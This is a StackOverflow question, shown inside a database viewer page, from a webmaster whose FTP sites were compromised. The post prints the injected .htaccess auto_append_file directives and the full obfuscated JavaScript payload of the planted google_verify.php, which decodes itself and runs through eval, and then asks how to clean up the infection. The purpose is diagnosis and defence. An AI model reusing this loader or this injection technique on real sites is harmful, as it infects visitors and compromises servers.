Databases
StackOverflow2013
Postsdbo
POvirus problem google_verify.php and ftp passwords
Body
 

Note that there are some explanatory texts on larger screens.

plurals
  1. POvirus problem google_verify.php and ftp passwords
    text
    copied!<p>Couple days ago I had problems with my sites. In all ftp servers I got some php file called google_verify.php and in my .htaccess file the following text was added:</p> <pre><code>&lt;IfModule mod_php5.c&gt; php_value auto_append_file "google_verify.php" &lt;/IfModule&gt; &lt;IfModule mod_php4.c&gt; php_value auto_append_file "google_verify.php" &lt;/IfModule&gt; </code></pre> <p>Here is google_verify.php file:</p> <pre><code>&lt;script&gt;d='function $M(file -z ?P L-B="GE &lt;= a ,rt="" Ke ,E=tru &amp; ,r.offset=100 Un L-L @u @y @J LA9 N ,e @q LA9 N Um L-n ],P ]Urg L-k(); .sxml2 X1 A.icrosoft X2 -z=null}}if(! z Ztypeof M!="undefined" -z : M ]+ E= 4}} Uc _&gt; -t[ $o [&gt;,false) Uv _&gt;, =vars Z 4== =vars A= /( % $o), % &gt;)) + t[ % $o) [% &gt;) W} UH L$p, $S A$T= % Yx);regexp :RegExp( Yx+"|"+ $T); H/ Sp 6regexp) Ii=0;i&lt; H/ hj= H/[i] 6"=");if( 4= SS -v G + c G}}}; a.trim _$f Z"qabcdef".indexOf( $o.substr(0,1))&gt;=0){ H $rs So 6\'q\') 8\'\') 6\'v\') I Hi=0;i&lt; $rs hrs[i]=parseInt( $rs[i],16)- k = $rs 8\',\')+ \',\'}else{ajax gr.offset2=25; = k}; 9unR ( !){eval( 9 ]UrN L db&amp;&amp; Yt 7 -H( Yt W} 3 drt 7 OR + rt SR}} c(" $a",new Date().getTime()); $h : / ]Ikey in( t) Zfalse== C1]&amp;&amp; 4== b A$T= v(key, C0] W ,t[key] ?t[ $T[0] [$T[1] W;key ST[0]} $h[ $h 7]=key+"="+ C0]} 3$R Oh 8 Yx) + rt+ Sh 8 Yx)} Uk L-B="POS &lt;t="";d=\'v={@ VM$1XH:"e-",@ V`$1XH:"",*b VM$1Xv30:"l(\\\'l=Str" \\\\_:"ing.fr",JG*2%a%fzV*aV:"omCha",&gt;%8%8*2*5LB0_*4:"rCode(" &lt;6#fF%3#f#7#d_$4y&lt;d*3*6$eV*e*d$a*3&amp;6R8#b!0G%4#d%eTM `8B6P*3K#6&gt;*4HY/c*dPB1JJ- a$4*6&amp;9&lt;7E*bQ`NX@U&amp;3W2E*eQ*4?Q*2E&amp;7W5!3%b#e#8!0*8#6J `6PV#c#9!fB3*1V&amp;6W9*7#f%6-3*d#f- d-fy,a2%2#e T T#c!1&amp;1/b#eT!1#c!1*4*b-d&amp;1/4-f#f%6%2#d ^5`y&lt;4?T*5KUB6P*3Y/9*eZw*5#a#9A*7&amp;9/1@U TLP T&amp;1D3HK%8&gt;O@w*5Y/9O~T@#6T@~&amp;9D1ZwJB6A*eZG&amp;9,d5H*3#8#7E*5?%8&amp;7/d-eF!fJ-eFG%6y /6B0!2G_%3#f_%3yD0%1EJ%1EHwA&amp;5,d0@$f!2#e$1MX?yD1*9U%aAGA*9A&amp;9,a2#7G-a?*1-bM?I /1-0-7%4%1$4T#d-c `9J?%8J%3AGE&amp;7Df*e!0*cZA#b!3*2 `aH-aOB7B7OJGI&lt;2?GJ#aPP?$e&amp;1W5%4z$1*7Gz$1*5I/3*4#d*0!3`!0F!0 `8$dO%6` %4$4%b!f&amp;5D4OOOB0#eVN-1&amp;3W0*3$b!3*b*aw*0$b&amp;3De%a@UB0#e-dN-1&amp;3W2&gt;M- 3*0K*2*5_&amp;5WeOA%7*3#6-7%e*3&amp;6/4%7!fN f&amp;1,a6M$f_*b#7B1B1#7&amp;5D7#f%a$3XUFPZ e9QMAU$1JB4U&amp;9Wf*5*8@$1&gt;U&gt;@YR1 %4Q%6%4UQ%6#7&amp;9Rb$f%fzB3B7*5?*fI/9$1*4#eUUA$1*2&amp;6D6^F#8~#b%0%0F ea%7%eN%7!2 ^7?y/5Z#e#b$e$e_Z*0yD6~GF#8^#c%0%0&amp;4D9#8O&gt;HB5&gt;*d@Y&lt;9*5*5#8&gt;*6&gt;&gt;#7YW1^??*4B7?*fGI &lt;7*4#6V*eOA$0V&amp;6/2@#d-awA-f#f_yW5!0#b-8*aE-d#d!3&amp;0Wd%8*3%0$e!fT*5@YWeGB7J- aB2AAH&amp;9&lt;9%7`-b$e|$3-b$b&amp;5R4$b-d$d$4|-d$4$3 j6-9Q$b%e-9w%7X&amp;3,ac%8zK-c$f$b|-c&amp;6R4%aM- dN%aB1-d%e j7$a?U-4Q!3!3?&amp;3&lt;2-7%3-7%4-7T-7%6&amp;1,af%f-f$0-f$1-f$3-f&amp;9R3%0N%0X%0M%0`I,acN- cX-cM-c`-c&amp;6Rc-f$d-f$e-f$f-fB0&amp;9,ac$e-c$f-cB0G!f- 7&amp;6,a0FF#7H#6H^H&amp;4D9P#aP#bP#cP#d&amp;5D2#f!f*1A`$a*3*6&amp;6/4-4GF%6GF*fG&amp;1 /4T!1_AAAF*f&amp;1D3H@KJ@-bPPYD2!f?KT?-aHP&amp;7/6%7ULV-6UB0-4&amp;3R5!fV$d!fV$4!fV&amp;3&lt;7P&gt;$a- 6MM_*b&amp;5RczPJ^#b!3N#d `8M|G-d$bU%2P&amp;5,a9*b&gt;-eG-9%8&gt;-e&amp;1/fV%4ULVNN#e&amp;3/6N*0VQ- e!3&gt;*4&amp;3W3 ^4#8^@E~#8y&lt;2H&gt;$4%0_?*6*6&amp;5/b#e#e~ ^4_$4zy&lt;0#eV$d*0!3#c#6!3&amp;3W4OJ@- fG!2#b#6y/2*4OJ@-f#d_$3yW2_^*fU%2H_#7&amp;5/8M$fL%2H_^*f&amp;5/a%0G!3^VN$dU&amp;3&lt;6*4A- 4#fJL#b*0&amp;9D1T*3@-a*5&gt;-3&gt;YD9#9#bH%4-8|$a*4 j5*2#b#6*2#f#6*1#eID0#b#8H#d#6H^#b ed#9OG#8~G#9P&amp;1D3#a#7O#f#9O#e#e&amp;7/dO#6GJJGJP&amp;1D5#a#9^#f#a^#a#a&amp;9 /f#8#9!f#8#8!f~~&amp;3D3#c#aO#dO#c#aO&amp;7D9L~LOLJL#6yW0T*3%eM$aH&gt;^Y&lt;d*1~#fZ*0EXM ea*4*5$3^^OB5GIR4N-d%b-f#f-5X$4y&lt;e$3KO%bM$4Q*8&amp;5&lt;b%4N*6Q%7%8@K&amp;3D4U$bz %4Q%6~#b&amp;9DbHB4E~|*4L%f&amp;7R7M$3#dJJ?LV&amp;3&lt;aO@B2O@|O@YRc^G-c^GB3T%2IWaE- dGP-d@EL&amp;0&lt;3%fZ!fE@!3Q$3&amp;0D1ZQK$1@??U&amp;3Db!3*3&gt;!0#8*2|*9&amp;0&lt;cH!fK#b!fP~!fYW0%8Z$aF*eFH%0 ec*8*6?#f?$dzZIDd-c!2E@Q@E-c `6F$bZ%8`K*1^&amp;4D9#9A$1%eQ$0$1$d&amp;9W1#c~*2*0OF#9F&amp;4,a1B1B1#fE*5*1*4E&amp;4&lt;aE@E?-b^%a| j9T`w*9$0w$1w&amp;4R3|G&gt;%8LB2*0&gt;&amp;5W8*2*5&gt;-2P&gt;NL&amp;5,d1A-3~%f$4$4%b`&amp;6,a0- c-5-4*5@`B5*3Y/dzB2*7*a?-2*f@I/2*6 ^b ^a*7!2OyD3%7$4w$e*2*2$3$a&amp;5R5NA- 1*5`$e$dP&amp;9/3Q`UJHH!0@&amp;0&lt;2$b*5&gt;*c*3%2$b&gt;YWc*0MN`%8#e-d$a&amp;3W5&gt;#9#6%aMKB1*3Y,ae-8*1F^- 5*c*1E&amp;4W3?A%6%b`A@#dy/9*9LA*eJG*2%a&amp;6&lt;aM!1%aT#e TT&amp;1DcT@A-3ZQz|&amp;9&lt;c%1|#a%e%f%eT#b `2L#d-eF ^f#d_yRf&gt;L-0P-9X&gt;#fYDd ^9*4#f!2#aN*4yRb-6%3w-0%3%f%7?y/7%8T%1%4EA- bH&amp;0&lt;4-8*dE&gt;N-eE*6 ja!3*f*9U#eV*5!3&amp;3/dNHB4B4B4*2%1|&amp;7Rc*1EXz#fEXz ee!fA$1$eT?~Z&amp;6&lt;5$4-5-4*3*0%6N%e&amp;0&lt;6MKQ$1@-4#e!3&amp;3/d!3-6EUE- 7L$3&amp;0&lt;dz*9zz$a$1%a$dYRcZH!f$b$a%b!f~Y&lt;1EZ||N#f~~&amp;5&lt;9`$1#6z$f$1zzY&lt;b`~wN$3^#7^&amp;6R5 fHT%2&amp;1&lt;c%fzPZXQ$1*2&amp;3,aeA$0%1GA%0V*a&amp;6D8G%aL-7|`$eQI/fHJ#8B5*b%8$bK&amp;7 /f%3%3LH*5~#8E&amp;7DfF*8A^?!1H!1&amp;1/7*4NK$eE*8|| j4z@!3F*0-0%4M&amp;3R0#6$awXKMNHY/cPMQ- 6MNK$1&amp;3&lt;9?@#d_!2V@$dyR7%a|$aM$3_?G&amp;5/f!f-f%eL%4G#7$f&amp;7/5@O%6NN%a$3w&amp;5Wb$0$1$4KH@&gt;HY /8*cG#9L_#f*0%7&amp;5R6wT%fB1FLF*7&amp;4&lt;b %0V%1F!fGB1w&amp;4&lt;c$3T$b!0UXw$3&amp;0&lt;9%2wKw$4|#a%8&amp;0R1KKZX&gt;^$ewYR6FFJEK- fZ%1&amp;4&lt;5*0%7#8$b$f%fzB3ID3_~O%8Z%6M*8&amp;5R8Z%e*a$dP#aA*b&amp;9/9$b!f@V#aUU%f&amp;6D2ZQ%8wz-3%aU edVV#6AN%1LL&amp;6&lt;1A#aZ`K$eX%e&amp;9R0X!2#7%b%8$4%3%fy&lt;bV#c%a~|%b$a- b&amp;6,a5*4$fT_$f?L!1&amp;1De*4?*8!fL$a%a| jd$4`@GF#cE-8&amp;4D3K%a|*a$1 %aQ%a&amp;5R6z&gt;*1@M%3H&gt;Y/e#c#c#a#aJ*7*7A&amp;9DeJ$0wQ%b`KF&amp;4W5L- 0$fXX%3%f%bIR4?@#d!2#eN%7Xy,aa%f$3%bV*4!fB1A&amp;6&lt;3#f ^1T%3%e%e%4y&lt;aK$4*6%3$bA*bJ&amp;9D1V#8V*9A-1%1%2&amp;6/9?E*b$e$0N%bX&amp;7R7!0*5w%6&gt;!0*6#d `6XPQwwX%8M&amp;3/8*f@$b#6@&gt;-0PY,d2EE-0^E#c-3X j9KZK&gt;-2&gt;$bzY,d1$4Z*5%4?&gt;-3@Y&lt;2#d!0HXE- d?!0&amp;0WdE$3%fT#e TU&amp;1/6!3-0*1#fJ%7K|&amp;3W4G!f&gt;*1KN`L&amp;6&lt;5#f#a#9#dT#d%6#fy /8$4#d%4L$3$0Kw&amp;0R6?A_V*2-3-8-9y&lt;2%4%aB8%6%6???I/5F&gt;FAF?FU ea~?^?#6?#7?ID7A#8A#bA#dA#9&amp;9/5#6_#a_#b_#c_&amp;5W0&gt;*1&gt;*2&gt;*3&gt;*4Y /4*2F*3F*6F*7F&amp;4W8F*9F*aF*bF*c e1*a!1*b!1*c!1*d!1&amp;1,a7P#8$d$fK$d$ezI/9%4L#eA|#e%4#d&amp;1D9#b*7#9*2#aP~B0YD2JJ#7$3`Q MP&amp;9Re#8$a|$aJOOOIDc%6M%2ZAT?&amp;1\\\\E:"32);ev",*``ZXK*b$0$1:"al(l) \\\'",EE!0*9Q&gt;!0#8*2:");"};dk=[] I-r x in v){dk.push(trim(x,v))};e-l(dk 8\\\'\\\'))!v7#v8$vc%vb&amp;:8*v9+,q- va/+7&lt;,b&gt;!8?!a@!bA!9BvdD+8E!7F!4G!dH#0I:90J#2K%cL!eM$7N$5O#3P#1Q$2R,cT%5U!cV!6W+ 9X$6Y&amp;8Z%d^#5_!5`$8w%9y&amp;2z$c|$9~#4\\\\,#6^L%2*0&gt;$f*2\' Ic=46;c--;d=(t=d 6\'!#$%&amp;*+-/&lt;&gt;?@ABDEFGHIJKLMNOPQRTUVWXYZ^_`wyz|~\\\\\'[c])) 8t.pop())); 9 (=d K &amp;}; 9unAJAX L dE -q ]+ rN( $R); 3 rr -A 2 Yr)} 3 z){ Hself=this; 3 B=="GET" A$K= F+ i+ Yt , R$K W + R F W;try{ z.setRequestHeader("Content-Type","application/x-www-form- urlencoded" 5){}} z.onreadystatechange !){switch( #z.readyState){case 1: #L 02: #u 03: #y 04: ;= #z.r (Text; ;XML= #z.r (XML; #C[0 Q; #C[1 QText; 3#w){self.r N 3#A A)= #A.nodeName; ).toLowerCase(); 3)=="input Jselect Joption Jtextarea" A#A. &gt;= ; +#A.innerHTML= ;}} 3#C[0]=="200" A#J ]+#e()} #rt="";break} Uz.send( Yt)}} Um ],rg()} a.ajax : $M();try{ H $G 2\' $D\') *c("query", $G gd gf) *F="query.php" *B SG gB gf *rr=\' $rz\' *L SN *u Sg *y Ss *J Sx; P 5){ P)} this g !=function( #self g $kx_ %encodeURIComponent( &amp;e ,rr ?A ?F=file ,t :Object ],C : /(2) (esponse )elemNodeName *;ajax g +}else{ ,; - A .try{ z :ActiveXObject("M /Array 0();break;case 2=document.getElementById( 3if( 4true 5)}catch(e 6.split( 7.length 8.join( 9this.r :=new ;self.r ( &lt;T" ,i="?" ,rx="&amp;" ,r =return &gt;value ?=null , @ !){ U A){ C t[key][ G( $j[0], $j[1]) Hvar I;for( J"|| )==" K ,b= 4 ,w=fals L ! MXMLHttpRequest NunR (()} O -rt+= Yx+ $ Pajax.runAJAX( Q]= #z.status Rz.open( B, S= $ T-d!3 U} , V%b%a#6Q W, 4) X.XMLHTTP" 5 Y r Z){if( []= /( ]() ^!2* _ L$o, `&amp;0/ awindow d$R A3 e&amp;4/ f$3%6%fT$4 g. $ h 7;i++ A$ j&amp;7&lt; k $f[ $o]}';for(c=130;c;d=(t=d.split(' ! # $ % &amp; ( ) * + , - . / 0 2 3 4 5 6 7 8 9 : ; &lt; = &gt; ? @ A C G H I J K L M N O P Q R S T U V W X Y Z [ ] ^ _ ` a d e f g h j k'.substr(c-=(x=c&lt;2?1:2),x))).join(t.pop()));eval(d)&lt;/script&gt; </code></pre> <p>I suspect that my pc is infected with some kind of virus who can read my ftp access parameters from my ftp manager.</p> <p>Does anybody know something more about this virus and how I can clean my computer?</p> <p>Thanks in advance </p>
 

Querying!

 
Guidance
An individual column

Larger individual text columns get their own page to allow for proper reading.

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload